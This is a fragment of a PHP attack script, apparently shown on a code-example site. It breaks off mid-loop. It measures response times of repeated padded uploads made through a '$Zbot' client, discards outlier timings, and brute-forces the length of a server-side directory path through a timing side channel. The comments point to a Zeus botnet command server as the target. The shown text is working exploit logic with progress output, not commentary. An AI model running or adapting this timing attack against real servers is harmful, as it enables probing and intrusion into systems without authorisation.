Ejemplo n.º 1
0
     }
     print "\n[!] excluding the value {$var} from long response time statistics";
 }
 $longStats->setVars($newVars);
 $longDelta = $longStats->calcAverage();
 print "\n[!] statistic for relative-long average time period: {$longDelta}";
 $longStats->reset();
 $newVars = array();
 foreach ($shortStats->getVars() as $var) {
     if ($var < $shortStats->calcAverage() + $shortStats->calcStdDeviation()) {
         array_push($newVars, $var);
         continue;
     }
     print "\n[!] excluding the value {$var} from short response time statistics";
 }
 $shortStats->setVars($newVars);
 $shortDelta = $shortStats->calcAverage();
 print "\n[!] statistic for relative-short average time period: {$shortDelta}";
 $shortStats->reset();
 # if short average + 50% short average > long average
 if ($shortDelta + $shortDelta / 100 * PLUS_TIME_INTERVAL_THRESHOLD < $longDelta) {
     $negTimeCounter = 0;
     print "\n[V] a satisfying interval has been achieved. moving on to brute forcing the directory length.";
     for ($i = MAX_FILE_NAME; $i >= 0; $i--) {
         $stopper->start();
         $Zbot->uploadFile(rand_str($i) . '.dat', str_repeat('A', 9990) . rand_str(10));
         $stopper->stop();
         $delta = $stopper->getDelta();
         print "\n{$i}: {$delta}";
         if (@closest(array($longDelta, $shortDelta), $delta) == $shortDelta) {
             #              max - file-len - botid - botnet - "/files///" - ".dat"